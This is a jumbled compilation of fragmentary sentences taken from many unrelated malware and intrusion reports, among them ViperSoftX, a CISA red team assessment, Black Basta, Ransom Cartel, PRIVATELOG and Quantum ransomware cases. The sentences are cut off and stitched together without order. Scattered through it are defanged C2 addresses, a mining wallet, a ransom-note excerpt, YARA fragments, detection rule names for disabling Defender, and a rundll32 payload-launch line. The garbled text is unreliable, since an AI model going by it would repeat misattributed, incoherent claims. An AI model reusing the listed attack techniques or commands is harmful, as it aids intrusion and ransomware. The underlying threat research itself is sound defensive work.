However, since the malicious actor is rebooting into safemode minimal state, endpoint protection software and networking will not be running while the endpoint is executing ransomware.


Without the correct byte map, the encrypted shellcode, including all components and relevant data, cannot be correctly decrypted, making decryption and analysis of the shellcode more time-consuming for analysts.

ViperSoftX Updates Encryption Steals Data


Execution of the first-stage PowerShell downloader after passing through blacklisting Unique encryption Byte mapping is a considerably simple technique.


While analysts will see the pattern of the arrangement, it is unlikely that they would be able to decrypt this without the correct sequence of bytes used in the mapping.


If this pattern is a text or a string, it would not be difficult to apply brute force.


We have also found that each sideloader DLL has its own pair of executable and byte map, and a decryption attempt returns an incorrectly rearranged shellcode if used with another ViperSoftX-related executable.


Afterward, the shellcode will then decrypt and load the main ViperSoftX DLL embedded within the carrier.


Considering the former is a type of script malware, however, this technique for encryption-decryption is easily more discernable during analysis because both the encrypted data and the mapping are in the same file.


It still downloads a PowerShell code (the main ViperSoftX script) to crawl through different paths in the system for cryptocurrency wallets.


The group behind this malware has been doing this for a number of years, and it knows its target systems based on the simultaneous use of techniques to steal cryptocurrencies and passwords.


On the other hand, considering the monthly change of C&C servers and communication exchange, we believe in the possibility of another group involved based on the different coding or C&C scheme.


We do not discount the possibility that these can either be older samples or different operators entirely.


Download security solutions that can detect and block malicious components in seemingly legitimate and non-malicious software and applications.


Enforce phishing-resistant MFA to the greatest extent possible.

CISA Red Team Shares Key Findings to Improve Monitoring and Hardening of Networks


The team gained persistent access to the organization’s network, moved laterally across the organization’s multiple geographically separated sites, and eventually gained access to systems adjacent to the organization’s sensitive business systems (SBSs).


During Phase II, the red team attempts to trigger a security response from the organization’s people, processes, or technology.


CISA’s red team gained initial access to two organization workstations at separate sites via spearphishing emails.


After gaining access and leveraging Active Directory (AD) data, the team gained persistent access to a third host via spearphishing emails.


Initial Access and Active Directory Discovery The CISA red team gained initial access [TA0001] to two workstations at geographically separated sites (Site 1 and Site 2) via spearphishing emails.


[T1003.001] with a tool called nanodump, exported the output, and processed the output offline with Mimikatz.


The team then deployed Rubeus to capture the incoming DC TGT [T1550.002], [T1557.001].


[T1021.002], which was successful.


Site 5 was broken into a private and a public subnet and only DCs were able to cross that boundary.


To move between the subnets, the team moved through DCs.


The team was then able to move from the private DC to workstations in the private subnet.


When possible, the team remotely enumerated the local administrators group on target hosts to find a valid user account.


[T1071], which are disabled by default starting with Windows Server 2016.


The team achieved root access to three SBS-adjacent workstations but was unable to move laterally to the SBS servers:


The database backup identified both the user of the SBS 1 administrator account (USER 2) and the user’s workstation (Workstation 4), which the MDM software remotely administered.


The team gained root access to workstations connected to MDM 1—specifically, the team accessed Workstation 4—by: Selecting an MDM user from the plaintext credentials in PowerShell scripts on MDM 1.


The team planned to move from Workstation 4 to the bastion host to SBS 1.


Figure 2: Red Team Cyber Threat Activity: Post ExploitationCommand and Control The team used third-party owned and operated infrastructure and services


The team maintained multiple Cobalt Strike servers hosted by a cloud vendor.


Domain Trust Discovery [T1482] Account Discovery: Domain Account


Develop response plan None Workstation Admin Lateral Movement—Workstation to Workstation Use a previously compromised workstation admin account to upload and execute a payload via SMB and Windows Service Creation, respectively, on several target Workstations.


Valid Accounts: Domain Accounts [T1078.002] Remote Services: SMB/Windows Admin Shares, Sub-technique [T1021.002] Create or Modify System Process:


N/A End User Reporting Investigate end user reported event Triage compromised host Develop response Plan Four users reported event to defensive staff Findings Key Issues The red team noted the following key issues relevant to the security of the organization’s network.


Most of the red team’s Phase II actions failed to provoke a response from the people, processes, and technology defending the organization’s network.


Additionally, throughout Phase I, the team received no deconflictions or confirmation that the organization caught their activity.


Compromise of the krbtgt account could provide adversaries with the ability to sign their own TGTs, facilitating domain access years after the date of compromise.


Ineffective separation of privileged accounts.


The team observed inconsistencies on servers and workstations within the domain, including inconsistent membership in the local administrator group among different servers or workstations.


Potentially unwanted programs.


This is potentially due to domain passwords being required to be changed every 60 days.


While the technology was deployed, it was not applied uniformly, and there was a significant portion of users without smartcard protections enabled.


The team was unable to crack any of the hashes obtained from the 610 service accounts pulled.


The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement.


See Microsoft’s KRBTGT account maintenance considerations guidance for more information.


Hosts with Unconstrained Delegation enabled Remove Unconstrained Delegation from all servers.


Risks of that nature should typically be acknowledged and prioritized at the most senior levels of an organization.


In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory.


The team used third-party owned and operated infrastructure throughout their assessment for C2.


Execution Technique Title ID Use Native API T1106 The team created a policy via the MDM API, which downloaded and executed a payload on a workstation.


User Execution T1204 Users downloaded and executed the team’s initial access payloads after clicking buttons to trigger download and execution.


During Phase II, the team created local admin accounts and an AD account; they added the created AD account to a domain admins group.


Event Triggered Execution: Windows Management Instrumentation Event Subscription T1546.003


The team used WMI Event Subscriptions to move laterally between sites.


Privilege Escalation Technique Title ID Use Abuse Elevation Control Mechanism T1548 The team elevated user account privileges to administrator by modifying the user’s account via adding Create Policy and Delete Policy permissions.


The team obtained the cached credentials from a SharePoint server account by taking a snapshot of lsass.exe with a tool called nanodump, exporting the output and processing the output offline with Mimikatz.


The team queried the AD for information about the network's sites and subnets.


Network Service Discovery T1046 During Phase II


System Owner/User Discovery T1033


This technique relies on anonymous SMB pipe binds, which are disabled by default starting with Server 2016.


During Phase II, the team established sessions that originated from a target Workstation and from the DC directly to an external host over a clear text protocol.


Proxy: External Proxy T1090.002 The team used redirectors to redirect C2 traffic between the target organization’s network and the team’s C2 servers.


Proxy: Domain Fronting T1090.004 The team used domain fronting to disguise outbound traffic in order to diversify the domains with which the persistent beacons were communicating.


CSC 3 Continuous Vulnerability Assessment CSC 5 Secure Configuration of hardware and software CSC 9 Limitation of Network Ports and Protocols CSC 12 Boundary Defense CSC 18 Application Software Security Endpoint Security Platform 10.7, Threat Prevention, Application Control (MAC) Network Security Platform (NSP)


CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7 Threat Prevention Persistence Modify Registry key – Create own key (T1112)


CSC 5 Secure Configuration CSC 8 Malware Defenses Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR Defensive Evasion Disabling Security Tools (T1562.001) ESET, Trend Micro, MS CSC 5 Secure Configuration CSC 8 Malware Defenses Defensive Evasion Process Injection: Reflective DLL (T1055)


CSC 4 Control Admin Privileges CSC 5 Secure Configuration CSC 6 Log Analysis Endpoint Security Platform 10.7, Threat Prevention, MVISION EDR Collection Data from network shared drive (T1039)


Of course, you can do that manually by downloading a list of indicators and searching with available tools.


However, if you have MVISION EDR, you will be able to that search right from Insights, saving precious time.


Hunting the attacker can be a game of inches so every second counts.


However, just as attackers work together, defenders must collaborate internally and externally to build an adaptive security architecture which will make it harder for threat actors to succeed and build resilience in the business.


This group is a “Ransomware as a Service” (RaaS) organization known to target medium and large companies.

Technical Analysis Black Basta Malware Overview


Although some exact details of the threat actor’s actions are still unknown, the evidence gathered has allowed for inferences into many of the gaps.


The use of such an account would have allowed the Threat Actor to pose as the compromised user without creating extra "junk" in the user's inbox which could raise suspicion.


The phishing emails contained what was later determined to be "Qakbot," a sophisticated trojan.


The client’s Cisco “Advanced Malware Protection” (AMP) detected a connection with one of these IP's over TCP port 2222.


The Suricata engine did detect these connection attempts, however no alert was raised by the Packet Inspection Engine.


This was determined through a review of files found on one of the initially compromised hosts.


Due to the lack of visibility, we were unable to find the initial connection from the two "Patient Zeros" to the local Domain Controller.


However, after reaching the local DC, the attacker was able to gain a better lay of the land and observe the presence of the other two domains.


For example, mid-stage infections showed calls to "146[.]70[.]86[.]44"[gerhiles[.]com].


Although no sample was able to be provided for the Client.exe (which is believed to be the ESXi variant), Quadrant was able to obtain a copy of "Client_s.exe" for Windows hosts.


The attack on the Commerce domain does not appear to have been effective, outside of one host in a training environment.


EXFILTRATION


This was not used for C2 activities but only for receiving the exfiltrated data.


In this case, the analyst investigating the alert observed that this was technically a False Positive, as the command was not used in an abnormal fashion.


Just over 30 hours after the initial infection.


Following the initial attempt to lock out the threat actor, the threat actor retaliated.


Because of the observation, hunting, and superior teamwork between the Quadrant team and the client, only a handful of ESXi servers were encrypted.


Had the team not taken action to sever the Internet and domain connections, the encryption command would likely have replicated throughout the Construction and Subsidiary environments.


But there were many lessons learned.


The phishing attachment was submitted to the target in a response to an ongoing conversation that was being held between a member of Quadrant’s client and the TPV.


Cold Email: "Solution for Issue 37":


However, it is important to note that the site seems to be owned by a legitimate venture capital group, which may indicate a compromise of their organization or that the email account was spoofed.


The two samples produced different ISO names: Claim_Copy_1796.iso and Claim_Copy_5898.iso.


The command is called with echo off, so that no text will be displayed to the user.


It is interesting to note that other IP’s were attempted to be reached over port TCP 2222, however, this C2 node was the only IP to return any data over TCP port 2222, which may be why this alert triggered.


Because of the amount of data outbound, this also may indicate some data exfiltration or interaction with the downloaded second stage from the C2.


During the lab testing of the tox5 sample, we observed the sample gain persistence through duplication of the sample.


This may be direct translations, however adding any additional character following the Russian phrases changes the translation to "Lock on Path", and "launch with balls" respectfully.


Two file names were observed during the incident "Client_s.exe" and "Client.exe."


BCDEdit is a command line program in windows which is used to modify the “Boot Configuration Data.”


Following infection, the host restarts into safe mode where the encryption action takes place: Following the encryption, the computer then restarts into standard mode.


During the end state of the active compromise, two flags were observed in Clipboard logging, "-bomb" and "-forcepath".


INDEX


Default IP is the host FakeDNS is installed on.


Aside from the logging connection to host 3, all other connections are forced through Host 1.


[CISCO-SECUREENDPOINT] Exploit attempt was prevented 5008355


Disable Windows Defender Command 5008366


Disable Realtime Monitoring Command 5008367


[WINDOWS-CLIPBOARD] netstat output v1 5008378 [WINDOWS-CLIPBOARD] netstat output v2 5008379


[WINDOWS-CLIPBOARD] proxychains command 5008382


5008361 [WINDOWS-SYSMON] CMD executed from spool directory 5008345


This study on an active campaign delves into the structure, goals, and requirements of the organizations involved, and provides an opportunity to conduct wider intelligence analysis and insights in the development of effective countermeasures.

Earth Pretas Cyberespionage Campaign Hits Over 200


An analysis of their deployments also revealed a level of coordination and collaboration.


Our study aimed at understanding the different phases and facets involved in this operation, shedding light on the motives and techniques used by Earth Preta to provide valuable insights and aid in the development of effective countermeasures.


A hierarchical structure.


Prior to this shift, most of the data collection efforts were aimed at academic institutions, ore and material refineries, specialized fabrication plants, financial institutions, and energy production and distribution.


Infection and exfiltration vectors Group 5171's exfiltration methods are sophisticated and designed to avoid detection.


Roaming endpoint attacks In contrast to Group 5171, Group 1358’s uses malicious USB mass storage devices as its primary method of compromise.


Group 724 also appears to be focused on compromising targets in specific industries and countries.


The significant level of proliferation suggests that it is well-funded and includes a large team of skilled individuals, likely enabling it to carry out attacks on multiple targets simultaneously.


The group uses customized USB storage devices tailored to individual targets as part of their intrusion tactics.


Despite its age, PlugX remains an effective tool for threat actors due to its flexibility and evasion capabilities.


In addition, the group also employs USB-based data exfiltration as part of their tactics.


Sectoral targets of Group 5171 are spread out, indicating that the group does not focus on specific sectors but rather adopts a more opportunistic approach.


However, observing victims’ business verticals and sectors indicate that Group 5171’s collection efforts show a high level of interest in research and development related to IT solutions, materials manufacturing and fabrication, energy production and synthetization, air travel, and space.


This includes robust cybersecurity measures, effective countermeasures against cyberespionage, and increased international cooperation in combating this threat.


It is essential to have a coordinated response to this threat, with the support of the private sector, academia, and civil society, to ensure the safety and security of critical infrastructure and intellectual property.


This post is also available in: 日本語 (Japanese)Author's Note New evidence has emerged that suggests the group WatchDog was behind a cryptojacking campaign that we attributed to TeamTNT in a blog published on June 8, 2021.

Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign


The new scripts from WatchDog are overtly copying TeamTNT infrastructure naming conventions and using a known WatchDog C2 hosting system, 199.199.226[.]117.


As shown in Figure 1, the original WatchDog infrastructure, in the dark blue rectangle, has been commented out of the bash script functionality and replaced with the new infrastructure seen in the light blue rectangle.


The new script also makes use of the exact URL address directory tree pattern that is present within the known WatchDog operations, with the directories b2f628 (red) and b2f628fff19fda999999999 (orange), as shown in Figure 2. Figure 2. URL directory pattern.


These mining pools are nanopool[.]org, shown in Figure 4, and f2pool[.]com, shown in Figure 5.


Malware samples with hardcoded Nanopool mining operation workers.


However, the sample also includes the email address hilde@teamtnt[.]red, which is a known TeamTNT email address. Figure 9.


New IoCs analyzed in surrounding text.


Known TeamTNT malware repository.


Of note, some the of malware samples included in this repository were the Kubernetes and Docker-focused malware, ‘kube.jpg’ and ‘tshd’, presented in Unit 42's Black-T blog, but these appear to no longer be used in the new scripts discussed within this blog.


As the previous section mentioned, the IP address 199.19.226[.]117 also resolves to the known TeamTNT domain zzhrecieve.anondns[.]net. Figure 12.


Finally, another TeamTNT malware repository was identified by Unit 42 researchers, as shown in Figure 14.


The larger Chimaera repository contains known TeamTNT cryptojacking scripts and binary files.


It appears that WatchDog actors are attempting to expand their cryptojacking operations, while simultaneously masking their operations with those of the known cryptojacking operations performed by TeamTNT.


Only deploy vetted container images within production environments.


Palo Alto Networks Prisma Cloud customers are protected from these threats through the Runtime Protection feature, Cryptominer Detection feature and the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on an insufficient Kubernetes configuration and provides secure alternatives.


Additionally, Palo Alto Networks VM-Series and CN-Series products offer cloud protections that can prevent network connections from cloud instances toward known malicious IP addresses and URLs. Indicators of Compromise IP Addresses 103.125.218[.]10747.253.42[.]213176.123.10[.]5739.100.33[.]20945.9.150[.]36106.15.74[.]11345.9.148[.]3513.245.9[.]14785.214.149[.]23645.9.148[.]37199.19.226[.]117 URL Addresses 85.214.149[.]236:443/sugarcrm/themes/default/images/ hxxp://dockerupdate.anondns[.]net:443/sugarcrm/themes/default/images/ Domains global.bitmex.com[.]degsearch.com[.]dede.gsearch.com[.]deoracle.zzhreceive[.]topzzhreceive.anondns[.]netprojectbluebeam.anondns[.]net Monero (XMR) Wallets 43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz Monero (XMR) Mining Pools xmr-asia1.nanopool[.]org:14444xmr.f2pool[.]com:13531Xmr.pool.gntl.co[.]uk:10009xmr.bohemianpool[.]com Repository SHA256 Hashes SHA256 FileName a506c6cf25de202e6b2bf60fe0236911a6ff8aa33f12a78edad9165ab0851caf kube.jpg e15550481e89dbd154b875ce50cc5af4b49f9ff7b837d9ac5b5594e5d63966a3 bioset.jpg 252bf8c685289759b90c1de6f9db345c2cfe62e6f8aad9a7f44dfb3c8508487a tshd.jpg 139f393594aabb20543543bd7d3192422b886f58e04a910637b41f14d0cad375 default.jpg 4f115381c17ba1dedb25d35d922feda9a723e206d811ed437b75fd8116ef461b 21.jpg 4a5d3435cd4a835056b4940e1cea9a25b1619562525bd9953a120b556b305983


The unknown attackers created fake websites that look identical to those of popular applications such as Firefox, WhatsApp, or Telegram, but in addition to providing the legitimate software, also deliver FatalRAT, a remote access trojan that grants the attacker control of the victimized computer.

These arent the apps youre looking for fake installers targeting Southeast and East Asia


We reported these ads to Google and they were promptly removed.


Most of the attacks affected users in Taiwan, China and Hong Kong.


Apart from electrumx[.]org, a fake website in English for the Electrum Bitcoin wallet, all the other websites are in Chinese, suggesting that the attackers are mostly targeting Chinese speakers.


Fake websites created by the attackers to deliver malicious installers (click to enlarge)


Create scheduled tasks to execute the loader and updater components.


The image shows that the original DLL was renamed to BHuedjhd.dll in this example and that the malicious DLL was compiled as Dll22.dll.


An example of this function is shown in Figure 10.


As an example, the malware can: Capture keystrokes Change the victim’s screen resolution Terminate browser processes and steal or delete their stored data.


For all of these reasons, we see how important it is to diligently check the URL that we are visiting before we download software.


AFAHMalicious MSI installer.


BRLoader DLL.


T1497.001Virtualization/Sandbox Evasion: System ChecksFatalRAT performs various checks to detect whether it’s running on a virtual machine.


Symmetric CryptographyFatalRAT encrypts data with a custom encryption algorithm before it is sent to the C&C server.


T1095Non-Application Layer ProtocolFatalRAT uses TCP for C&C communications.


The fake sender used the same password of Fresh@123 for the Zip archive in the samples we obtained.

Tax firms targeted by precision malware attacks


Infection process based on deception


The attackers have crafted the shortcut, by prepending a large number of space characters to the Target field in the properties, so that the Target field appears blank.


However, when viewed using a hex editor, the text content of the shortcut is rendered visible.


A block of base64-encoded, encrypted data comprises almost 150KB of that script, along with code that decodes and decrypts the block of base64.


When decoded, the content of the Ir8 variable (a segment of which is shown below) turns out to be just another encoded PowerShell script, which the VBS decodes and then executes.


The script (shown in part, below) converts several small strings to bytes, concatenates the output, performs a BXOR to decode the bytes, and then converts those bytes to ASCII text, before executing them.


That’s what comes from the O7 variable (shown in part, below, because it is too large to fit on one screenshot).


But the malware doesn’t exclusively inject its code into this exe; Other now-defunct Internet Explorer components were also observed being abused by the malware, including ieinstal.exe (the tool that installs Add-Ons into Internet Explorer).


and 185.225.74.91:2080.


Most of all, be very wary of people who send you a Dropbox link to a password-protected Zip file at any time of year.


After building the headers, it will copy each PE section one at a time, as seen in Figure 11. Figure 11:

BazarLoader Mocks Researchers in December 2020 Malspam Campaign


BazarLoader Downloading Encrypted Payload Differences Between Versions There are a few notable differences between the first version of BazarLoader sent on 2020-10-06 (Employment Termination Malspam) and the one sent on 2020-10-08 (Survey Malspam).


Exploitation in February 2018 enabled the attackers to gain initial access and then persistence, with the help of the ChinaChopper and TwoFace web shells.

Investigation with a twist an accidental APT attack and averted data destruction


On the hosts of presumably greatest interest, the SysUpdate and HyperBro backdoors were installed for reliable persistence and access.


This frequently used technique of loading malicious code in the context of a legitimate application is known as DLL hijacking.


Hex is read (after being copied from c:\windows\system32\Sysurl.


Let's consider the decrypted and decoded version of the ransomware (MD5: 841980b4ae02a4e6520ab834deee241b) in greater detail.


.js


.mpa


.sdf .sh .sitx .sln .sql .srt .svg .swf .swift .tar .tar.gz .tax2014 .tax2015 .tex .tga .thm .tif .tiff .tmp .toast .torrent .txt .vb .vcd .vcf .vcxproj .vob .wav .wma


.wmv


.wpd .wps .xcodeproj .xhtml .xlr .xls .xlsx .xml


First we will look at the approach for encryption of files with size less than 64,052,000 bytes (approximately 61 MB).


The result is that only small parts of the file—not the entire file—are encrypted.


You will also receive a consultation on how to improve your companies cyber security If you want to purchase our software to restore your data contact us at: Pt34Jarmys@protonmail.com alex.dali@iran.ir We can only show you the door.


Most of the affected computers had not only been disconnected from the corporate network, but turned off for analysis of the hard drive contents.


The operating system logs contain timestamps for shutdown and power on.


We succeeded in bruteforcing the exact value of the base encryption key in about a minute on an ordinary workstation (on the order of a few tens of thousands of iterations).


The group likely has Asian roots, with activity since at least 2010.


However, this could also be a false flag.


And this is the script used to automatically delete the ransomware from a list of computers in 2020: @echo off for /f


Hex net use \\%%i\c$ /del )ELSE ( echo not access %%


Taken together, these similarities certainly point to APT27 as a culprit, but are not entirely conclusive.


The hackers, while not changing their TTPs, chose rather unusual software to monetize their attacks.


A mistake in the ransomware's cryptographic algorithms enabled us to recover the encrypted files.


With U.S. Tax Day approaching, Microsoft has observed phishing attacks targeting accounting and tax return preparation firms to deliver the Remcos remote access trojan (RAT) and compromise target networks beginning in February of this year.

Threat actors strive to cause Tax Day headaches


The ZIP file contains LNK files that act as Windows shortcuts to other files.


Tax Day-themed Remcos attack chain We continue to learn from these campaigns to improve how we protect customers.


Domain:uymm[.]orgURL:https[:]//uymm[.]org/roman.msiSHA-256 hashes:23597910ec60cf8b97144447c5cddd2e657d09e2f2008d53a3834b6058f36a4195a2d34db66ce4507d05ac33bea3bdc054860d9d97e91bdc2ce7ce689ae06e9fac55905e6f5a2ab166f9a2ea7d1f4f68f5660f39b5c28b7746df1e9db6dd4430 References: 2021 Top Malware Strains | Cybersecurity and Infrastructure Security Agency (CISA) GuLoader: A Popular New VB6 Downloader that Abuses Cloud Services | Proofpoint US GuLoader: Peering Into a Shellcode-based Downloader | CrowdStrike The post Threat actors strive to cause Tax Day headaches appeared first on Microsoft Security Blog.


It is a free and powerful tool, making distribution of software easier.


The name of the next file is loaded as a stack-based wide stringThe base of kernel32.dll is fetched from PEBA set of function from kernel32.dll is retrieved – each of them by the name’s checksums.


As before, they are resolved by their hashes.


Then the functions are used to load and decrypt the payload.


That allows to bypass some monitoring in the situation if the system DLLs are hooked.


Then, a function defined by its hash is retrieved (using the same hashing algorithm that was used to retrieve imports from normally loaded DLLs): After the pointer to the beginning of the function is fetched, a small disassembling loop is used to find the familiar pattern: moving the ID of the syscall into EAX register.


The decision for which of the versions should be applied is made based on the check if the process runs as Wow64 (emulated 32 bit on 64 bit Windows): If the process runs on a 32-bit system, the syscall can be made in a direct way, using SYSENTER:


If the system is 64-bit, the malware (that is 32-bit) switches into 64-bit mode via “Heaven’s Gate”.


The 64-bit code, executed after the mode is switched via Heaven’s Gate Evolution This crypter has been around for several years, and during this time it went through several phases of evolution.


The extracted NSIS script contains a different sequence of commands: Function .onInit SetOutPath


First of all, the file name is passed dynamically rather than hardcoded.


Popular and persistent


Its popularity and diversity of payloads suggests that it is not linked to one specific actor, but rather sold as an independent component on one of many underground forums.


In their latest campaign, LockBit has once again embraced the approach of disseminating malware through malicious document files targeting Korean individuals.


The figure below depicts the delivery method employed by the LockBit ransomware group.


Unlike traditional methods that rely on suspicious indicators such as macros, this technique does not require their presence in the document until the malicious template is retrieved.


The image below displays the de-Obfuscated VBA content from the downloaded template file.


Conclusion The Lockbit ransomware has taken a surprising turn by adopting the old strategy of distributing its payload through malicious documents.


Turn on the automatic software update feature on your computer, mobile, and other connected devices wherever possible and pragmatic.


Disruption in organization operation.


Financial loss.


Because the file format is not widely used or documented, there are no available tools that can parse CLFS log files.

Too Log Didnt Read  Unknown Actor Using CLFS Log Files for Stealth


For example, to open a registry key in a transaction, the functions RegCreateKeyTransacted(), RegOpenKeyTransacted(), and RegDeleteKeyTransacted() are available.


Registry transaction forensics were briefly explored in a previous blog post.


Malware Obfuscation As with many malware families, most of the strings used by PRIVATELOG and STASHLOG are obfuscated.


Yet the technique observed here is uncommon and relies on XOR’ing each byte with a hard-coded byte inline, with no loops.


If a string prefixed with win:: already exists when the installer is executed, then the pre-existing GUID in the GlobalAtom table is reused.


Effectively, when executed with no arguments, the installer generates and prints out encryption keys that the actor uses to pre-encrypt the payload before it is written to disk.


If this matches, the malware resolves the function address for the ServiceMain export function of PrintConfig.dll, which is the service entry point of the service using this command line.


If a matching .blf file is found, PRIVATELOG opens it with the clfsw32.dll function CreateLogFile().


Its second DWORD must be less than the entry’s size minus the header.


PRIVATELOG finally uses a rarely seen technique to execute the DLL payload, which this time relies on NTFS transactions.


The PE header is validated, and sections mapped into memory; however, it does not fix section permissions or resolve imports.


// fixup value upper byte and uint8(3) == 0 // always 0 and uint16(4) == uint16(6) and uint16(4) !


num sectors and uint32(8)


and uint32(i*512+40) == 0x70 and uint32(i*512+0x88) >


0x28 and uint32(i*512+0x88) < filesize and // look for magic and blockheader.blocksize in payload uint32(i*512+0x70+uint16(i*512+0x70+0x22))


== 2 and uint32(i*512+0x70+uint16(i*512+0x70+0x22)+4) == uint32(i*512+0x88)-0x30 ) ) } rule HUNTING_Win_CLFS_Entropy { meta: author = "adrien.bataille@mandiant.com" description = "This rule looks for CLFS containers with records containing high entropy.


== uint16(i*512+6) and uint16(i*512+4) !


File writes to .regtrans-ms or .blf files are fairly common, however stacking the process name and file paths may also provide good results.


REvil ransomware disappeared just a couple of months before Ransom Cartel surfaced and just one month after 14 of its alleged members were arrested in Russia.

Ransom Cartel Ransomware A Possible Connection With REvil


REvil’s dark web leak site became unreachable.


At the start of the redirect, no breached organizations were listed on the site.


The operator of the newly established blog appears to have some type of access to REvil or ties to the group.


At the same time, our analysis of Ransom Cartel samples (detailed in the sections below) provides strong evidence of ties to REvil as well.


There are a number of theories about the origins of Ransom Cartel.


At this time, we believe that Ransom Cartel operators had access to earlier versions of REvil ransomware source code, but not some of the most recent developments (see our Ransom Cartel and REvil Code Comparison for more details).


Ransom Cartel has attacked organizations in the following industries: education, manufacturing, and utilities and energy.


Their motivation is not to carry out cyberattacks themselves but rather to sell the access to other threat actors.


Post-encryption, the following file extensions have been observed: .zmi5z, .nwixz, .ext, .zje2m, .5vm8t and .m4tzt.


Ransom Notes Unit 42 has observed two different versions of ransom notes sent by Ransom Cartel.


When the key is entered, the following page is loaded: Figure 3.


Once the iteration ends, the sample will query the system metrics, specifically for the SM_CLEANBOOT value.


SM_CLEANBOOT Values Description 0 Normal Boot 1 Fail-Safe Boot 2 Fail-Safe with Network Boot Table 1.


Ransom Cartel encrypted configuration.


dbsnmp raw_agent_svc onenote steam VeeamNFSSvc synctime infopath msaccess tbirdconfig mspub ocomm excel EnterpriseClient ocssd agntsvc winword ocautoupds thebat sql bedbh dbeng50 powerpnt wordpad xfssvccon VeeamTransportSvc CagService bengien visio outlook DellSystemDetect encsvc benetns pvlsvr isqlplussvc VeeamDeploymentSvc vsnapvss sqbcoreservice firefox mydesktopservice oracle mydesktopqos beserver thunderbird vxmon Table 3.


Targeted service list.


Avoided extensions.


Once the gathered data has been formatted into the JSON structure, it is then encrypted using the same procedure that Ransom Cartel follows to generate session_secret blobs, which will be discussed shortly; put simply, it involves AES encryption, utilizing the SHA3 hash of a Curve25519 shared key for the AES key.


Once encrypted, it is written to the registry key SOFTWARE\\Google_Authenticator\\b52dKMhj, with the sample first attempting to write to the HKEY_LOCAL_MACHINE hive, before writing to HKEY_CURRENT_USER if the right permissions are not possessed.


The second generated session secret follows the exact same procedure; however, instead of using attacker_cfg_public, it utilizes an embedded public key (attacker_embedded_public_1) within the binary to generate the shared key. Figure 9.


(32 bytes) salsa_nonce (eight bytes)


crc_file_public_1 (four bytes) encryption_type (four bytes) block_spacing (four bytes) encrypted_null (four bytes)


Both use an identical encryption scheme, generating multiple public/private key pairs, and creating session secrets using the same procedure found within REvil samples. Figure 13.


Initial Access T1078.


Software Deployment Tools Deploys PDQ Inventory Scanner tool. T1059.001.


Modify Registry Modifies the Registry to disable UAC remote restrictions by setting SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy to 1. T1070.001 Indicator Removal on Host: Clear Windows Event Logs Uses wevtutil to clear the Windows event logs.


Remote Services: SSH Uses Putty for remote access. T1550.002.


Remote Access Software Uses AnyDesk to remotely connect and transfer files. T1090.003.


Proxy: Multi-hop


Malware, Tools and Exploits Used Execution Credential Access Discovery Privilege Escalation Lateral Movement Command and Control Exfiltration PowerShell Windows command shell MimikatzLaZagneDonPAPI PDQ Inventory scannerAdvanced Port Scannernetscan.exe Print Nightmare Putty AnyDeskCobalt Strike Rclone Table 10.


Palo Alto Networks customers receive help with detection and prevention of Ransom Cartel ransomware in the following ways: WildFire:


Post exploitation activities detail some familiar and some new techniques and tooling, which led to domain wide ransomware.

Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report


This case shares similarities of the IcedID campaign detailed by Malware-Traffic-Analysis.net, where the ADGet.exe application was referenced.


After that, the threat actors tried a GetSystem privilege escalation technique, which was blocked by antivirus.


After this, the threat actors began their first lateral movement to a server in the environment by copying their Cobalt Strike DLL over to the host and executing it via a remote service.


Several more beacons were also loaded on the host using DLLs and PowerShell.


These actions, however, failed to get a beacon to launch on the domain controller being targeted.


Once there, they then loaded textbin[.]net, a pastebin style site, to download Cobalt Strike PowerShell code to the host in a file named pon.txt. Trying to execute this locally failed as well, and the threat actor moved on to downloading a variety of beacon executables (e.g. lsass.exe, lsasss.exe, etc.).


Next, the threat actor executed PowerShell to pop up an alert message on several hosts, letting the user know that the machine was infected with Cobalt Strike.


This appeared to fail.


Once executed, the ransomware left the ransom note README_TO_DECRYPT.html, which informs the victim that Quantum ransomware is responsible for the intrusion.


max\easygoing.dat C:\Users\[REDACTED]\AppData\Local\Temp\*


D:\max\eyewear.bat ➝ rundll32 C:\Users\[REDACTED]\AppData\Local\Temp\easygoing.dat,#1 On the second day of the intrusion, the threat actors used the IcedID malware to drop a Cobalt Strike beacon and executed it using regsvr32.exe.


The NSA Cyber Windows Event Monitoring Guidance, has the following statement: Application crashes may warrant investigation to determine if the crash is malicious or benign.


A TrojanDropper:PowerShell/Cobacis.


B VirTool:MSIL/Menace.


C!MTB There was evidence that that the Cobalt Strike aggressor script AnnoyKit was leveraged to launch Internet Explorer via a COM object.


</Triggers> <Principals> <Principal id="Author"> <RunLevel>HighestAvailable</RunLevel> <UserId>[REDACTED]</UserId> <LogonType>InteractiveToken</LogonType> </Principal> </Principals>


This is a known behavior of Cobalt Strike and its function shinject, which can be used to inject a new beacon or a specific program to another process on the victim’s computer.


Many of these beacons could also be detected in memory scanning with the Malpedia Cobalt Strike rule.


The activity was observed in Windows Security Event ID 4662, with known indicators including non-computer based account, an access mask of 0x100, and object IDs.


Threat actors used the function CreateRemoteThread in order to inject malicious code in LSASS process to access credentials.


powershell.exe Import-Module ActiveDirectory


*file/


An example of an incorrect named command was nslook up (should have been nslookup) that also incorrectly passed the username, instead of the host name.


Reviewing the WebCacheV01.dat on the domain controllers, reveals more details on the sites loaded, including the files that where downloaded from those sites: The threat actors downloaded the lsass.exe beacon from their attacker hosted infrastructure at 199.127.60[.]117.


Decoding this revealed another PowerShell Base64 encoded string:


The -e is short for -EncodedCommand.


There are many different variations of EncodedCommand, with shorthand and aliases available.


ADGet : An uncommon tool An Active Directory collection tool called ADGet was dropped into a user’s temp folder and executed with an output filename argument.


Its a simple to use tool, the application is invoked from the command line and passes an output file name to save enumerated AD objects.


ADfind:


(objectCategory=subnet) >


Its likely the code was reused from other open source pentest enumerations scripts available, such as: WMIC The use of WMIC was leveraged by a batch file named dS.bat that queried a number of target hosts to determine the host disk drive configuration.


During these RDP sessions, the threat actors often opened Internet Explorer to download their beacons or commands they wanted to run on lateral hosts.


In addition, multiple text files were also created to store the output of various discovery commands and scripts.


